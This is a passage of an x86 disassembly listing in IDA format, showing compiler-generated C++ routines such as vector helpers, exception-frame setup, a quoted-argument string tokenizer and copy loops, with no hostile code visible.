push edi
mov ecx, esi
call sub_4012B2
mov eax, edi
pop edi
pop esi
pop ecx
retn 8
sub_40A4A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A4E0: ; CODE XREF: ___:0040194Cj
push ecx
push esi
mov esi, [esp+0Ch]
push 1
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_402112
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A510 proc near ; CODE XREF: sub_4011EAj
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
mov edi, [esp+44h+arg_8]
mov esi, ecx
test edi, edi
mov [esp+44h+var_38], 0
jnz short loc_40A551
mov esi, [esp+44h+arg_0]
push offset byte_448F40
mov ecx, esi
call sub_401870
jmp loc_40A684
; ---------------------------------------------------------------------------
loc_40A551: ; CODE XREF: sub_40A510+2Aj
lea eax, [esp+44h+arg_8]
lea ecx, [esp+44h+var_34]
push eax
call sub_40169A
mov ecx, [esi+9]
mov [esp+44h+var_4], 1
push ecx
lea ecx, [esp+48h+var_24]
call sub_401870
lea ecx, [esp+44h+var_24]
mov byte ptr [esp+44h+var_4], 2
call sub_4014DD
mov [esp+44h+var_3C], eax
mov cl, [eax]
test cl, cl
jz loc_40A635
push ebx
loc_40A591: ; CODE XREF: sub_40A510+11Ej
mov dl, [edi]
cmp cl, dl
jnz short loc_40A5A0
loc_40A597: ; CODE XREF: sub_40A510+8Ej
inc eax
mov [esp+48h+var_3C], eax
cmp [eax], dl
jz short loc_40A597
loc_40A5A0: ; CODE XREF: sub_40A510+85j
cmp byte ptr [eax], 22h
setz bl
test bl, bl
jz short loc_40A5AF
inc eax
mov [esp+48h+var_3C], eax
loc_40A5AF: ; CODE XREF: sub_40A510+98j
lea edx, [esp+48h+var_3C]
lea ecx, [esp+48h+var_34]
push edx
call sub_401997
mov eax, [esp+48h+var_3C]
test bl, bl
mov cl, [eax]
jz short loc_40A5FF
test cl, cl
jz short loc_40A5E7
loc_40A5CB: ; CODE XREF: sub_40A510+D5j
cmp cl, 22h
jnz short loc_40A5DC
mov cl, [eax+1]
cmp cl, 20h
jz short loc_40A5E7
test cl, cl
jz short loc_40A5E7
loc_40A5DC: ; CODE XREF: sub_40A510+BEj
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A5CB
loc_40A5E7: ; CODE XREF: sub_40A510+B9j
; sub_40A510+C6j ...
cmp byte ptr [eax], 0
jz short loc_40A62A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
mov cl, [eax+1]
test cl, cl
jz short loc_40A62A
add eax, 2
jmp short loc_40A626
; ---------------------------------------------------------------------------
loc_40A5FF: ; CODE XREF: sub_40A510+B5j
test cl, cl
jz short loc_40A614
mov dl, [edi]
loc_40A605: ; CODE XREF: sub_40A510+102j
cmp cl, dl
jz short loc_40A614
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A605
loc_40A614: ; CODE XREF: sub_40A510+F1j
; sub_40A510+F7j
mov cl, [eax]
test cl, cl
jz short loc_40A62A
cmp cl, [edi]
jnz short loc_40A62A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
inc eax
loc_40A626: ; CODE XREF: sub_40A510+EDj
mov [esp+48h+var_3C], eax
loc_40A62A: ; CODE XREF: sub_40A510+DAj
; sub_40A510+E8j ...
mov cl, [eax]
test cl, cl
jnz loc_40A591
pop ebx
loc_40A635: ; CODE XREF: sub_40A510+7Aj
lea ecx, [esp+44h+var_34]
call sub_4011F9
mov ecx, [esp+44h+arg_4]
cmp ecx, eax
jb short loc_40A64D
push offset byte_448F40
jmp short loc_40A65A
; ---------------------------------------------------------------------------
loc_40A64D: ; CODE XREF: sub_40A510+134j
push ecx
lea ecx, [esp+48h+var_34]
call sub_401F82
mov eax, [eax]
push eax
loc_40A65A: ; CODE XREF: sub_40A510+13Bj
mov esi, [esp+48h+arg_0]
mov ecx, esi
call sub_401870
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_38], 1
call sub_401226
lea ecx, [esp+44h+var_34]
mov byte ptr [esp+44h+var_4], 0
call sub_401596
; ---------------------------------------------------------------------------
loc_40A684: ; CODE XREF: sub_40A510+3Cj
mov ecx, [esp+44h+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_40A510 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A710 proc near ; CODE XREF: sub_4016B8j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
mov eax, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push 0
push eax
push edx
push esi
mov [esp+18h+var_4], 0
call sub_4011EA
mov eax, esi
pop esi
pop ecx
retn 0Ch
sub_40A710 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A750 proc near ; CODE XREF: sub_40202Cj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015E1
pop esi
retn 4
sub_40A750 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A780 proc near ; CODE XREF: sub_401A9Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015E1
retn 4
sub_40A780 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7A0 proc near ; CODE XREF: sub_401479j
arg_0 = dword ptr 4
mov eax, [ecx+9]
mov ecx, [esp+arg_0]
add eax, ecx
retn 4
sub_40A7A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A7C0: ; CODE XREF: ___:004014A6j
mov eax, [ecx+9]
mov ecx, [esp+4]
add eax, ecx
retn 4
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7E0 proc near ; CODE XREF: sub_401389j
mov eax, [ecx+9]
retn
sub_40A7E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A800 proc near ; CODE XREF: sub_4017EEj
mov eax, [ecx+9]
retn
sub_40A800 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A820 proc near ; CODE XREF: sub_4014DDj
mov eax, [ecx+9]
retn
sub_40A820 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A840 proc near ; CODE XREF: sub_40169Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_40A840 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A870 proc near ; CODE XREF: sub_401596j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019B5
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
sub_40A870 endp
; ---------------------------------------------------------------------------
xor eax, eax
loc_40A898: ; DATA XREF: ___:00446544o
; ___:00446588o ...
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8C0 proc near ; CODE XREF: sub_4011F9j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40A8CA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40A8CA: ; CODE XREF: sub_40A8C0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_40A8C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_401F82j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_4011F9
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_40A908
mov ecx, esi
call sub_401F05
loc_40A908: ; CODE XREF: sub_40A8F0+Fj
mov ecx, esi
call sub_401D2F
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_40A8F0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A930 proc near ; CODE XREF: sub_401997j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401659
push eax
mov ecx, esi
call sub_4016F9
pop esi
retn 4
sub_40A930 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A960 proc near ; CODE XREF: sub_401D2Fj
mov eax, [ecx+4]
retn
sub_40A960 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A980 proc near ; CODE XREF: sub_401659j
mov eax, [ecx+8]
retn
sub_40A980 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9A0 proc near ; CODE XREF: sub_4016F9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401D2F
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_4013D9
mov ecx, edi
call sub_401D2F
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_40A9A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9F0 proc near ; CODE XREF: sub_4019B5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_40AA10
loc_40AA01: ; CODE XREF: sub_40A9F0+1Ej
push esi
mov ecx, edi
call sub_4018C0
add esi, 4
cmp esi, ebx
jnz short loc_40AA01
loc_40AA10: ; CODE XREF: sub_40A9F0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_40A9F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AA30: ; CODE XREF: sub_401F05j
push 0FFFFFFFFh
push offset loc_439DB9
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
nop
call near ptr 760A0430h
lea edx, [esp+14h]
push offset dword_440088
push edx
call sub_437B22
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AAB0 proc near ; CODE XREF: sub_4011EFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_40AAB0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AAD0 proc near ; CODE XREF: sub_4013D9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40AB9B
mov ecx, esi
call sub_4011F9
cmp edi, eax
jnb short loc_40AB03
mov ecx, esi
call sub_4011F9
mov ebp, eax
jmp short loc_40AB05
; ---------------------------------------------------------------------------
loc_40AB03: ; CODE XREF: sub_40AAD0+26j
mov ebp, edi
loc_40AB05: ; CODE XREF: sub_40AAD0+31j
mov ecx, esi
call sub_4011F9
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401DE8
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4010CD
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_402194
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019B5
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_4011F9
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AB9B: ; CODE XREF: sub_40AAD0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_40ABF9
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_402194
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401E8D
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40ABF9: ; CODE XREF: sub_40AAD0+D8j
test edi, edi
jbe short loc_40AC33
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4010CD
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_4020CC
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401E8D
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_40AC33: ; CODE XREF: sub_40AAD0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40AAD0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACA0 proc near ; CODE XREF: sub_4018C0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_1
pop ecx
retn 4
sub_40ACA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACC0 proc near ; CODE XREF: sub_4010CDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_40ACF2
push edi
mov edi, [esp+10h+arg_8]
loc_40ACD6: ; CODE XREF: sub_40ACC0+27j
push esi
push edi
mov ecx, ebx
call sub_40213F
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_40ACD6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40ACF2: ; CODE XREF: sub_40ACC0+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40ACC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD10 proc near ; CODE XREF: sub_402194j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_40AD37
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_40AD26: ; CODE XREF: sub_40AD10+23j
push ebx
push esi
mov ecx, ebp
call sub_40213F
add esi, 4
dec edi
jnz short loc_40AD26
pop esi
pop ebx
loc_40AD37: ; CODE XREF: sub_40AD10+Aj
pop edi
pop ebp
retn 0Ch
sub_40AD10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AD50 proc near ; CODE XREF: sub_401DE8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4014D8
sub_40AD50 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD80 proc near ; CODE XREF: sub_40213Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401E01
add esp, 8
retn 8
sub_40AD80 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADB0 proc near ; CODE XREF: sub_401E8Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40ADCD
mov edx, [esp+arg_8]
push esi
loc_40ADC1: ; CODE XREF: sub_40ADB0+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_40ADC1
pop esi
locret_40ADCD: ; CODE XREF: sub_40ADB0+Aj
retn
sub_40ADB0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADE0 proc near ; CODE XREF: sub_4020CCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_40AE02
mov eax, [esp+arg_8]
push esi
loc_40ADF1: ; CODE XREF: sub_40ADE0+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_40ADF1
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AE02: ; CODE XREF: sub_40ADE0+Aj
mov eax, [esp+arg_8]
retn
sub_40ADE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AE40 proc near ; CODE XREF: sub_4014D8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40AE4A
xor eax, eax
loc_40AE4A: ; CODE XREF: sub_40AE40+6j
shl eax, 2
push eax
call sub_437AEA
sub_40AE40 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AE70 proc near ; CODE XREF: sub_401E01j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40AE8B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40AE8B: ; CODE XREF: sub_40AE70+11j
retn
sub_40AE70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEA0 proc near ; CODE XREF: sub_401E88j
mov eax, ecx
mov dword ptr [eax], offset off_43F014
retn
sub_40AEA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AEC0: ; CODE XREF: ___:00401721j
; ___:loc_402045j
push esi
mov esi, ecx
call sub_40204F
test byte ptr [esp+8], 1
jz short loc_40AED8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40AED8: ; CODE XREF: ___:0040AECDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEF0 proc near ; CODE XREF: sub_40204Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AEF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
push edi
mov dword ptr [ecx], offset off_43F014
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call sub_40174E
loc_40AF21: ; DATA XREF: sub_40AF32o
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AEF0 endp
; =============== S U B R O U T I N E =======================================
sub_40AF32 proc near ; DATA XREF: ___:004401C4o
mov eax, offset loc_40AF21
retn
sub_40AF32 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF60 proc near ; CODE XREF: sub_4014C4j
call sub_401712
jmp sub_4017BC
sub_40AF60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF80 proc near ; CODE XREF: sub_401B2Cj
call sub_401627
jmp sub_4017CB
sub_40AF80 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AFA0 proc near ; CODE XREF: sub_4013DEj
push esi
mov esi, ecx
push esi
push offset sub_401429
lea eax, [esi+0Ch]
push 0
push eax
call sub_40123A
add esp, 10h
test eax, eax
jnz short loc_40AFC2
mov al, 1
mov [esi+10h], al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AFC2: ; CODE XREF: sub_40AFA0+19j
mov byte ptr [esi+10h], 0
xor al, al
pop esi
retn
sub_40AFA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AFE0: ; CODE XREF: ___:004011C2j
push ecx
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B007
mov ecx, [esi+0Ch]
lea eax, [esp+4]
push eax
push ecx
call sub_401767
mov eax, [esp+0Ch]
add esp, 8
mov byte ptr [esi+10h], 0
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40B007: ; CODE XREF: ___:0040AFE9j
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B020 proc near ; CODE XREF: sub_40174Ej
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B03C
mov eax, [esi+0Ch]
push 0Fh
push eax
call sub_401762
add esp, 8
mov byte ptr [esi+10h], 0
loc_40B03C: ; CODE XREF: sub_40B020+8j
pop esi
retn
sub_40B020 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B050: ; CODE XREF: ___:004011F4j
mov eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B070 proc near ; CODE XREF: sub_401429j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40B070
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov eax, [ecx]
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call dword ptr [eax+4]
loc_40B09E: ; DATA XREF: sub_40B0B1o
mov ecx, [ebp+var_C]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40B070 endp
; =============== S U B R O U T I N E =======================================
sub_40B0B1 proc near ; DATA XREF: ___:00440224o
mov eax, offset loc_40B09E
retn
sub_40B0B1 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B0E0 proc near ; CODE XREF: sub_401028j
var_8 = dword ptr -8
var_4 = byte ptr -4
sub esp, 8
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B122
mov edx, [esi+0Ch]
lea eax, [esp+0Ch+var_8]
lea ecx, [esp+0Ch+var_4]
push eax
push ecx
push edx
call sub_4021B2
mov edx, [esi+0Ch]
mov eax, [esp+18h+var_8]
lea ecx, [esp+18h+var_8]
mov [esi+8], eax
push ecx
push 1
push edx
mov [esp+24h+var_8], 0
call sub_401050
add esp, 18h
loc_40B122: ; CODE XREF: sub_40B0E0+Bj
pop esi
add esp, 8
retn
sub_40B0E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B150 proc near ; CODE XREF: sub_401DE3j
var_4 = dword ptr -4
push ecx
mov al, [ecx+10h]
test al, al
jz short loc_40B172
mov eax, [ecx+8]
lea edx, [esp+4+var_4]
mov [esp+4+var_4], eax
mov eax, [ecx+0Ch]
push edx
push 1
push eax
call sub_401050
add esp, 0Ch
loc_40B172: ; CODE XREF: sub_40B150+6j
pop ecx
retn
sub_40B150 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B190 proc near ; CODE XREF: sub_401A00j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B190
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+1Ch+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+1Ch+var_4], 1
call sub_401753
lea edi, [esi+8Eh]
lea eax, [esp+1Ch+var_11]
push eax
mov ecx, edi
mov byte ptr [esp+20h+var_4], 2
call sub_401C08
sub_40B190 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 3
mov dword ptr [esi], offset off_43F020
call sub_401C03
mov ecx, [esp+10h]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B250 proc near ; CODE XREF: sub_401AFAj
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B250
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push edi
mov [esp+18h+var_10], esi
mov dword ptr [esi], offset off_43F020
lea edi, [esi+8Eh]
mov [esp+18h+var_4], 3
mov ecx, edi
call sub_401C03
mov ecx, edi
mov byte ptr [esp+18h+var_4], 2
call sub_40155F
sub_40B250 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+60h]
mov byte ptr [esp+14h], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B2F0 proc near ; CODE XREF: sub_4017F8j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
